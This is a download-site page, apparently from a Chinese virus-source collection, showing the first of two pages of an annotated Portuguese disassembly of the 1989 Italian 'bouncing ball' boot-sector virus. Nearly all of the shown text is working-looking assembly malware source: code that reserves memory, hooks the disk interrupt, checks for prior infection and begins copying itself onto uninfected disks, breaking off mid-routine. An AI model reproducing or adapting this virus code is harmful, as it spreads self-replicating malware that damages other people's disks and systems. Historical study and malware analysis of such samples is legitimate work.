⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ital.asm

📁 一些病毒源代码
💻 ASM
📖 第 1 页 / 共 2 页
字号:
; **************************************************
; ***   VIRUS ITALIANO SALTITANTE - A LISTAGEM   ***
; *** Desassemblagem obtida por Miguel Vitorino  ***
; ***    Para : S P O O L E R - Junho de 1989    ***
; **************************************************

.RADIX 16

jmpf    macro   x
        db      0eah
        dd      x
endm

Virus       SEGMENT
assume  cs:virus;ds:virus

jmpf    MACRO   x
        db      0eah
        dd      x
ENDM

org 0100h

begin:  jmp     short entry

                db      1eh-2 dup (?)           ; Informacao relativa a' disquete

entry:  xor     ax,ax
                mov     ss,ax
                mov     sp,7c00                 ; Colocar o Stack antes do inicio do
                mov     ds,ax                           ; virus
                mov     ax,ds:[0413]            ; Retirar 2 K como se nao existissem
                sub     ax,2                            ; para que o DOS nao la' chegue !
                mov     ds:[0413],ax
                mov     cl,06                   ; Converter o tamanho da RAM num
                shl     ax,cl                   ; numero de segmento que se situa nos
                sub     ax,07c0                 ; 2 ultimos K
                mov     es,ax                   ; De seguida passar este programa
                mov     si,7c00                 ; para esse sitio de memoria
                mov     di,si                   ; ( i.e. o programa transfere-se a si
                mov     cx,0100                 ;  proprio )
                repz    movsw
                mov     cs,ax                   ; Transferencia de controlo para ai!
                push    cs                      ; Agora sim , ja' estamos nos tais 2K
                pop     ds
                call    reset                   ; fazer duas vezes um "reset" ao
reset:  xor     ah,ah                   ; controlador de disco
                int     13
                and     byte ptr ds:drive,80
                mov     bx,ds:sector            ; Sector onde esta' o resto do virus
                push    cs
                pop     ax
                sub     ax,0020
                mov     es,ax
                call    ler_sector                      ; Ler o resto do virus da drive
                mov     bx,ds:sector
                inc     bx
                mov     ax,0ffc0                        ; Carregar o sector de boot original
                mov     es,ax
                call    ler_sector
                xor     ax,ax
                mov     ds:estado,al
                mov     ds,ax
                mov     ax,ds:[004c]            ; "Confiscar" o interrupt 13
                mov     bx,ds:[004e]            ; ( operacoes sobre disquetes/discos )
                mov     word ptr ds:[004c],offset int_13
                mov     ds:[004e],cs
                push    cs
                pop     ds
                mov     word ptr ds:velho_13,ax ; Guardar a velha rotina do int. 13
                mov     word ptr ds:velho_13+2,bx
                mov     dl,ds:drive
        jmpf    0:7c00                  ; Efectuar o arranque do sistema

Esc_Sector      proc    near
                mov     ax,0301                 ; Escrever um sector da drive
                jmp     short cs:transferir
Esc_Sector      endp

Ler_Sector      proc  near
            mov ax,0201                 ; Ler um sector da drive
Ler_Sector      endp

Transferir  proc  near                          ; Efectuar uma transferencia de dados
        xchg    ax,bx                           ; de ou para a drive
                add     ax,ds:[7c1c]            ; Este procedimento tem como entrada
                xor     dx,dx                           ; o numero do sector pretendido ( BX )
                div     ds:[7c18]               ; e de seguida sao feitas as contas
                inc     dl                              ; para saber qual a pista e o lado
                mov     ch,dl                           ; onde esse sector fica
                xor     dx,dx
                div     ds:[7c1a]
                mov     cl,06
                shl     ah,cl
                or      ah,ch
                mov     cx,ax
                xchg    ch,cl
                mov     dh,dl
                mov     ax,bx                           ; Depois de todas as contas feitas
transf: mov     dl,ds:drive                     ; pode-se chamar o interrupt 13H
                mov     bx,8000                 ; es:bx = end. de transferencia
                int     13
                jnb     trans_exit
                pop     ax
trans_exit:     ret
Transferir      endp

Int_13  proc    near                            ; Rotina de atendimento ao int. 13H
                push    ds                              ; (operacoes sobre discos e disquetes)
                push    es
                push    ax
                push    bx
                push    cx
                push    dx
                push    cs
                pop     ds
                push    cs
                pop     es
                test    byte ptr ds:estado,1    ; Testar se se esta' a ver se o virus
                jnz     call_BIOS                       ; esta' no disco
                cmp     ah,2
                jnz     call_BIOS
                cmp     ds:drive,dl                     ; Ver se a ultima drive que foi
                mov     ds:drive,dl                     ; mexida e' igual a' drive onde
                jnz     outra_drv                       ; se vai mexer
                xor     ah,ah                           ; Neste momento vai-se tirar a' sorte
                int     1a                              ; para ver se o virus fica activo
                test    dh,7f                           ; Isto e' feito a partir da leitura
                jnz     nao_desp                        ; da hora e se for igual a um dado
            test  dl,0f0                        ; numero , o virus e' despoletado
            jnz   nao_desp
            push  dx                            ; Instalar o movimento da bola
            call  despoletar
            pop   dx
nao_desp:       mov   cx,dx
            sub dx,ds:semente
                mov     ds:semente,cx
                sub     dx,24
                jb      call_BIOS
outra_drv:      or      byte ptr ds:estado,1    ; Indicar que se esta' a testar a
                push    si                              ; presenca ou nao do virus na drive
                push    di
                call    contaminar
                pop     di
                pop     si
                and     byte ptr ds:estado,0fe  ; Indicar fim de teste de virus
call_BIOS:      pop     dx
                pop     cx
                pop     bx
                pop     ax
                pop     es
                pop     ds
Velho_13        equ     $+1
                jmpf    0:0
Int_13  endp

Contaminar      proc    near
                mov     ax,0201
                mov     dh,0
                mov     cx,1
                call    transf
                test    byte ptr ds:drive,80    ; Pediu-se um reset a' drive ?
                jz      testar_drv                      ; Sim , passar a' contaminacao directa
                mov     si,81be
                mov     cx,4
proximo:        cmp     byte ptr [si+4],1
                jz      ler_sect
                cmp     byte ptr [si+4],4
                jz      ler_sect
                add     si,10
                loop    proximo
                ret

ler_sect:       mov     dx,[si]                 ; Cabeca+drive
                mov     cx,[si+2]                       ; Pista+sector inicial
                mov     ax,0201                 ; Ler esse sector
                call    transf
testar_drv:     mov     si,8002                 ; Comparar os 28 primeiros bytes para
                mov     di,7c02                 ; ver se o sector de boot e' o mesmo
                mov     cx,1c                           ; i.e. ver se a drive ja' foi virada !
                repz    movsb
                cmp     word ptr ds:[offset flag+0400],1357
                jnz     esta_limpa
                cmp     byte ptr ds:flag_2,0
                jnb     tudo_bom
                mov     ax,word ptr ds:[offset prim_dados+0400]
                mov     ds:prim_dados,ax                ; Se chegar aqui entao a disquete ja'
                mov     si,ds:[offset sector+0400] ; esta' contaminada !
                jmp     infectar
tudo_bom:       ret

; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora
; proceder a' respectiva contaminacao !

esta_limpa:     cmp     word ptr ds:[800bh],0200; Bytes por sector
                jnz     tudo_bom
                cmp     byte ptr ds:[800dh],2   ; Sectores por cluster
                jb      tudo_bom
                mov     cx,ds:[800e]            ; Sectores reservados
                mov     al,byte ptr ds:[8010]   ; Numero de FAT's
                cbw
                mul     word ptr ds:[8016]      ; Numero de sectores de FAT
                add     cx,ax
                mov     ax,' '
                mul     word ptr ds:[8011]      ; Numero de entradas na root
                add     ax,01ff
                mov     bx,0200
                div     bx
                add     cx,ax
                mov     ds:prim_dados,cx
                mov     ax,ds:[7c13]            ; Numero de sectores da drive
                sub     ax,ds:prim_dados
                mov     bl,byte ptr ds:[7c0dh]  ; Numero de sectores por cluster
                xor     dx,dx
                xor     bh,bh
                div     bx
                inc     ax
                mov     di,ax
                and     byte ptr ds:estado,0fbh ; Se o numero de clusters dor superior
                cmp     ax,0ff0                 ; a 0FF0 entao cada entrada na FAT sao
                jbe     sao_3                           ; 4 nibbles senao sao 3
                or      byte ptr ds:estado,4    ; 4 = disco duro ?
sao_3:  mov     si,1                            ; Escolher sector a infectar
                mov     bx,ds:[7c0e]            ; Numero de sectores reservados
                dec     bx
                mov     ds:inf_sector,bx                ; Sector a infectar
                mov     byte ptr ds:FAT_sector,0fe

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -